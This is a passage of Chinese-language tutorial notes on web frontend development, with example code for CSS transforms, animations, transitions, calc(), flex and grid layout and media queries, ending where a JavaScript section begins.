      &amp;lt;div&amp;gt;没有改变&amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;

&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/79c63a55df-image-20221115161128859-169882076528247.png&quot; alt=&quot;image-20221115161128859&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;skew函数&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以元素原文档流位置为原点，在X、Y轴上形变，趋向菱形。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;skew()：&lt;/p&gt;
&lt;p&gt;单参：指定在【&lt;strong&gt;X轴&lt;/strong&gt;】形变。&lt;/p&gt;
&lt;p&gt;双参：分别指定在【&lt;strong&gt;X轴&lt;/strong&gt;】、【&lt;strong&gt;Y轴&lt;/strong&gt;】形变。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;skewX()：指定在【&lt;strong&gt;X轴&lt;/strong&gt;】形变。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;skewY()：指定在【&lt;strong&gt;Y轴&lt;/strong&gt;】形变。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：负数 - 整数。（单位：&lt;code&gt;deg&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
  div {
      width: 200px;
      height: 100px;
      background-color: #123456;
  }
  /* 在X轴上正向形变 */
  .skew {
      transform: skewX(10deg);
  }
  /* 在X轴上负向形变 */
  .reverse-skew {
      transform: skewX(-20deg);
  }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;!-- 在X轴上正向形变 --&amp;gt;
  &amp;lt;div class=&quot;skew&quot;&amp;gt; &amp;lt;/div&amp;gt;
  &amp;lt;!-- 在X轴上负向形变 --&amp;gt;
  &amp;lt;div class=&quot;reverse-skew&quot;&amp;gt; &amp;lt;/div&amp;gt;

  &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/1c15c1d6fb-skew-169882076974549.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;5.2 变化起点&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;transform-origin&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;transform-origin: x轴 y轴;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 以左上角为原点 */
transform-origin: 0 0;
/* 以x轴0点为原点 */
transform-origin: 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.3 注意&lt;/h5&gt;
&lt;p&gt;transform变换&lt;strong&gt;不会&lt;/strong&gt;更改元素原文档流位置、大小，只是在视觉上发生了变换。&lt;/p&gt;
&lt;h4&gt;(六) 动画&lt;/h4&gt;
&lt;h5&gt;6.1 创建动画&lt;/h5&gt;
&lt;p&gt;​	在css中要使用动画，必须先创建一个预设的动画，规定动画帧的内容。动画播放时，会按照所有设定的关键帧，按顺序播放并且有过渡效果。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;@keyframes 动画名字 { /* 动画帧内容 */ }&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;@keyframes &lt;/code&gt;关键字，声明一个动画并取名。然后设定&lt;code&gt;0% - 100%&lt;/code&gt;或者&lt;code&gt;from{ /* 初始样式 */ } to{ /* 结尾样式 */ }&lt;/code&gt;的动画帧过程的css样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;声明一个旋转的动画。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 使用百分比，精确设定每个阶段的样式 */
@keyframes rolling{
    /* 第一帧样式 */
    0%{
        width: 100px;
        height: 100px;
        background-color:#123456;
        transform:rotate(0deg);
    }

    /* 中间帧可以省略 */

    /* 最后一帧样式 */
    100%{
        width: 200px;
        height: 200px;
        background-color:#654321;
        transform:rotate(360deg);
    }
}

/* 使用 from to ，快速设置开始到结束的样式 */
@keyframes rolling{
    /* 第一帧样式 */
    from{
        width: 100px;
        height: 100px;
        background-color:#123456;
        transform:rotate(0deg);
    }
    /* 最后一帧样式 */
    to{
        width: 200px;
        height: 200px;
        background-color:#654321;
        transform:rotate(360deg);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;6.2 使用动画&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation-name&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要使用的动画的名字。（&lt;code&gt;@keyframes&lt;/code&gt;声明的动画）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation-duration&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定动画周期的时长。（单位：&lt;code&gt;s&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation-delay&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定动画延时多久开始。（单位：&lt;code&gt;s&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation-timing-function&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定动画速率曲线。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ease&lt;/strong&gt;(默认值)：缓慢&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ease-in&lt;/strong&gt;：慢入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ease-out&lt;/strong&gt;：慢出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ease-in-out&lt;/strong&gt;：慢入慢出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;linear&lt;/strong&gt;：线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation-iteration-count&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定动画播放次数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数字&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;infinite&lt;/strong&gt;：无限&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation-direction&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定动画播放方向。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;normal&lt;/strong&gt;(默认值)：每个动画循环结束，动画重置到起点重新开始&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;reverse&lt;/strong&gt;：反向运行动画。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;alternate&lt;/strong&gt;：动画交替反向运行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;alternate-reverse&lt;/strong&gt;：反向交替，反向开始交替。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;animation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;快速简写，一次配置上述所有动画设置。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;animation: name duration timing-function delay iteration-count direction;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;旋转和位移动画。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    div{
        width:50px;
        height:50px;
        background-color:#123123;
    }
    /* 分部设置 */
    .animate-detail{
        animate-name: rolling;
        animation-duration: 3s;
        animation-timing-function: ease-in-out;
        animation-iteration-count: infinite;
        animation-direction: alternate;
    }
    /* 一步到位 */
    .animate-easy{
        animation: rolling 3s ease-in-out 0 infinite alternate;
    }
    /* 使用 from to ，快速设置开始到结束的样式 */
    @keyframes rolling{
        /* 第一帧样式 */
        from{
            width: 100px;
            height: 100px;
            background-color:#123456;
            transform:rotate(0deg);
        }
        /* 最后一帧样式 */
        to{
            width: 200px;
            height: 200px;
            background-color:#654321;
            transform:rotate(360deg);
        }
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;animate-detail&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;animate-easy&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2f3902d171-animation2.gif&quot; style=&quot;zoom:67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(七) calc函数&lt;/h4&gt;
&lt;p&gt;对于css中无法写数学计算的问题，&lt;code&gt;calc( )&lt;/code&gt;很好的解决了这一问题，在函数中写入计算式，会自动计算出结果值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：计算式中的&lt;strong&gt;加法&lt;/strong&gt;、&lt;strong&gt;减法&lt;/strong&gt;的符号，左右必须有一个【空格】。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .father{
        width: 500px;
        height:200px;
        background-color: green;
    }
    .child{
        width: calc(50% - 10px);
        height: 100%;
        background-color: red;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father&quot;&amp;gt;
        &amp;lt;div class=&quot;child&quot;&amp;gt;&amp;lt;/div&amp;gt;        
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8796acea49-image-20221115161703777-169882078458852.png&quot; alt=&quot;image-20221115161703777&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;(八) 过渡属性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;transition&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定元素某一个属性值发生&lt;strong&gt;瞬间变化&lt;/strong&gt;时，会自动过渡变化，而不是瞬间变化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：效果有点像动画，但它自身并不指定动画，不要混淆。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;transition: property  duration  timing-function delay ;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参数&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;property&lt;/strong&gt;：指定有过渡效果的属性，默认值是&lt;code&gt;all&lt;/code&gt;(对所有属性都生效)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;duration&lt;/strong&gt;：过渡时长(单位：&lt;code&gt;s&lt;/code&gt;)，默认值是&lt;code&gt;0s&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;timing-function&lt;/strong&gt;：指定动画速率曲线。
&lt;ul&gt;
&lt;li&gt;ease(默认值)：缓慢&lt;/li&gt;
&lt;li&gt;ease-in：慢入&lt;/li&gt;
&lt;li&gt;ease-out：慢出&lt;/li&gt;
&lt;li&gt;ease-in-out：慢入慢出&lt;/li&gt;
&lt;li&gt;linear：线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;delay&lt;/strong&gt;：延时触发(单位：&lt;code&gt;s&lt;/code&gt;)，默认值是&lt;code&gt;0s&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .box{
        width: 100px;
        height: 100px;
        background-color: #123456;
    }
    .box:hover{
        width: 150px;
        height: 150px;
        background-color: #654321;
    }
    .transition-all {
        transition: all 1s;
    }
    .transition-one {
        transition: width 1s;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;!-- 没有transition --&amp;gt;
    &amp;lt;div class=&quot;box&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;!-- transition-all --&amp;gt;
    &amp;lt;div class=&quot;box transition-all&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;!-- transition-one --&amp;gt;
    &amp;lt;div class=&quot;box transition-one&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/5fe58c1270-transition-169882078837854.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要介绍了overflow属性、最大最小值、透明度、手势、平移、旋转、动画、过渡属性。这些知识点，除了一些基础的CSS知识以外，更多内容是对样式的交互、美感进行了提升。难度上不是很难，也比较好理解，更多是记忆性内容。&lt;/p&gt;
&lt;h2&gt;CSS-04&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;flex布局、grid布局、媒体查询&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;十分熟练使用flex布局&lt;/li&gt;
&lt;li&gt;熟悉媒体查询&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;flex布局&lt;/li&gt;
&lt;li&gt;grid布局&lt;/li&gt;
&lt;li&gt;熟悉媒体查询&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;弹性布局&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) flex布局&lt;/h4&gt;
&lt;h5&gt;1.1 序言&lt;/h5&gt;
&lt;p&gt;​	flex是一种&lt;strong&gt;一维&lt;/strong&gt;的布局模型，它给 flexbox 的子元素之间提供了强大的空间分布和对齐能力。一次只能处理一个维度上的元素布局，一行或者一列。&lt;/p&gt;
&lt;h5&gt;1.2 主轴和交叉轴&lt;/h5&gt;
&lt;p&gt;​	每个flex容器都有主轴和交叉轴。主轴由 &lt;code&gt;flex-direction&lt;/code&gt; 定义（默认如图），另一根轴垂直于它。我们使用 flexbox 的所有属性都跟这两根轴线有关，所以有必要在一开始首先理解它。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f2052698ed-image-20221020172631517-169882079248456.png&quot; alt=&quot;image-20221020172631517&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;1.3 弹性布局&lt;/h5&gt;
&lt;p&gt;​	设置&lt;code&gt;display:flex;&lt;/code&gt;将一个标签设置为&lt;strong&gt;flex容器&lt;/strong&gt;，其直系子元素就成为&lt;strong&gt;flex元素&lt;/strong&gt;，并且执行flex容器的默认设置：元素从主轴的起始线开始排列为一行、元素被拉伸来填充交叉轴大小、&lt;code&gt;flex-wrap&lt;/code&gt;为&lt;code&gt;nowrap&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;flex-direction&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;更改 flex 容器中元素的&lt;strong&gt;排列方向&lt;/strong&gt;或&lt;strong&gt;主轴&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;row(默认值)：从左到右&lt;/li&gt;
&lt;li&gt;row-reverse：从右到左&lt;/li&gt;
&lt;li&gt;column：从上到下，&lt;strong&gt;主轴和交叉轴交换&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;column-reverse：从下到上，&lt;strong&gt;主轴和交叉轴交换&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;justify-content&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;元素在主轴方向上对齐方式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;flex-start(默认值)：元素靠齐主轴的&lt;strong&gt;起始点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;flex-end：元素靠齐主轴的&lt;strong&gt;终止点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;center：元素在主轴的中心。&lt;/li&gt;
&lt;li&gt;space-between：相邻元素的间距相同，首位元素在起始点、终止点靠齐。&lt;/li&gt;
&lt;li&gt;space-around：每个元素自身的左右留白相等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/47b11a5392-image-20221020184626151-169882079584058.png&quot; alt=&quot;image-20221020184626151&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;align-items&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;元素在交叉轴方向对齐方式和空间分配。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;stretch(默认值)：拉伸元素高度来填满 flex 容器。&lt;/li&gt;
&lt;li&gt;flex-start：元素靠齐交叉轴的&lt;strong&gt;起始点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;flex-end：元素靠齐交叉轴的&lt;strong&gt;终止点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;center：元素在交叉轴的中心。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e5efbbdca9-image-20221020184952728-169882079852560.png&quot; alt=&quot;image-20221020184952728&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;flex-wrap&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	虽然&lt;code&gt;flexbox&lt;/code&gt;是一维模型，但可以通过该属性使&lt;code&gt;flex&lt;/code&gt;元素溢出时换行。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;no-wrap(默认值)：无论有多少元素，都不换行，元素会被挤小。&lt;/li&gt;
&lt;li&gt;wrap：容器放不下元素时，换行。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：指定为&lt;code&gt;wrap&lt;/code&gt;时，应该把每一行看作一个新的&lt;code&gt;flex&lt;/code&gt;容器，并且每行拥有自己的主轴和交叉轴。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;align-content&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	当flex容器为&lt;code&gt;wrap&lt;/code&gt;并且出现换行时，指定多根&amp;lt;u&amp;gt;主轴（每行）&amp;lt;/u&amp;gt;在flex容器中&lt;strong&gt;交叉轴方向上的对齐方式&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;flex-start(默认值)：每根主轴靠齐容器交叉轴方向的&lt;strong&gt;起始点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;flex-end：每根主轴靠齐容器交叉轴方向的&lt;strong&gt;终止点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;center：每根主轴在容器交叉轴方向的中心。&lt;/li&gt;
&lt;li&gt;space-between：相邻主轴的间距相同，首位元素在起始点、终止点靠齐。&lt;/li&gt;
&lt;li&gt;space-around：每个主轴自身在容器交叉轴方向留白相等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.4 平均分布&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;flex&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	如果元素在flex容器中，可以设定其&lt;code&gt;flex&lt;/code&gt;值，最终容器中的元素所占大小即元素之间的&lt;code&gt;flex值&lt;/code&gt;比例。&lt;/p&gt;
&lt;p&gt;​	若只有容器中一个元素，则占满；若只有容器中只有一个元素设定了&lt;code&gt;flex&lt;/code&gt;，则该元素占满剩余空间。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .layout-flex{
        display: flex;
        height: 100px;
    }
    .flex-1{
        flex: 1;
        background-color: red;
    }
    .flex-2{
        flex: 2;
        background-color: green;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;layout-flex&quot;&amp;gt;
        &amp;lt;div class=&quot;flex-1&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;flex-2&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/b3a07d224d-image-20221111145921952-169882080246162.png&quot; alt=&quot;image-20221111145921952&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) grid布局&lt;/h4&gt;
&lt;p&gt;设置&lt;code&gt;display:grid;&lt;/code&gt;将一个标签设置为&lt;strong&gt;grid容器&lt;/strong&gt;，通过设置网格数量和大小，内部的子元素会自动按序填入网格中。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;grid-template-rows&lt;/strong&gt;：指定网格行数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;多个空格隔开的长度（单位：&lt;code&gt;%&lt;/code&gt; &lt;code&gt;px&lt;/code&gt;）：列数等于参数量，按顺序指定每一列的宽度。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;repeat(列数, 大小)&lt;/code&gt;：快速设置列数与大小。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;列数：数字&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;大小：&lt;code&gt;px&lt;/code&gt;、&lt;code&gt;fr&lt;/code&gt;(每列之间的比例)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;grid-template-columns&lt;/strong&gt;：指定网格列数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：同上&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;gap&lt;/strong&gt;：网格之间的间距。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;code&gt;px&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个两列等宽的网格，行数根据内容自适应，网格间距10px。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .grid {
        width: 100%;
        height: 200px;
        display: grid;
        grid-template-columns: repeat(2, 1fr);
        gap: 10px;
    }
    span {
        display: inline-block;
        width: 100%;
        height: 100%;
        text-align: center;
        font-size: 30px;
        background-color: aqua;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;grid&quot;&amp;gt;
        &amp;lt;span&amp;gt;1&amp;lt;/span&amp;gt;
        &amp;lt;span&amp;gt;2&amp;lt;/span&amp;gt;
        &amp;lt;span&amp;gt;3&amp;lt;/span&amp;gt;
        &amp;lt;span&amp;gt;4&amp;lt;/span&amp;gt;
        &amp;lt;span&amp;gt;5&amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/fd2987d6b1-image-20221020194438382-169882080576464.png&quot; alt=&quot;image-20221020194438382&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 媒体查询&lt;/h4&gt;
&lt;h5&gt;3.1 创建媒体查询&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;@media 媒体目标 and 条件 ...&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;@media&lt;/code&gt;关键字，配合条件可以让网页在特定设备的特定条件下显示不同的效果。常用于&lt;strong&gt;响应式布局&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当页面最大宽度小于&lt;code&gt;376px&lt;/code&gt;时，显示手机设备下的样式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .content {
        margin: auto;
        width: 1200px;
        height: 300px;
        background-color: #123456;
    }
    .title{
        font-size:16px;
        color: #ffffff;
    }
    /* 当页面宽度是小屏设备时，重写选择器 */
    @media screen and (max-width: 765px) {
        .content {
            width: 90%;
            height: 200px;
            background-color: #645321;
        }
        .title{
            font-size: 20px;
            font-weight: bold;
        }
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;content&quot;&amp;gt;
        &amp;lt;span class=&quot;tite&quot;&amp;gt;标题&amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2fd3c3a44e-image-20221111151848750-169882080921366.png&quot; alt=&quot;image-20221111151848750&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节的内容，主要是介绍两种布局。布局是完成页面的基础，合理使用好布局，可以提高写页面的效率。也可以减少我们开发的时间，所以大家除了知道两种布局的知识点，还需要熟练的使用，在每次的写页面做布局先去思考，哪一个更适合这个页面，学会结合去使用，因为一个页面上可能会使用多个布局属性，这小节也是很重点的，有很多需要记忆理解的知识。&lt;/p&gt;
&lt;h1&gt;JavaScript&lt;/h1&gt;
&lt;h2&gt;JavaScript-01&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;js基础、变量、数据类型、数据类型检测、类型转换&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解变量&lt;/li&gt;
&lt;li&gt;掌握各种数据类型的特点、使用情景&lt;/li&gt;
&lt;li&gt;熟悉数据类型转换&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;变量&lt;/li&gt;
&lt;li&gt;数据类型&lt;/li&gt;
&lt;li&gt;类型转换&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;掌握各种数据类型的特点、使用情景&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) JS基础&lt;/h4&gt;
&lt;h5&gt;1.1 编程&lt;/h5&gt;
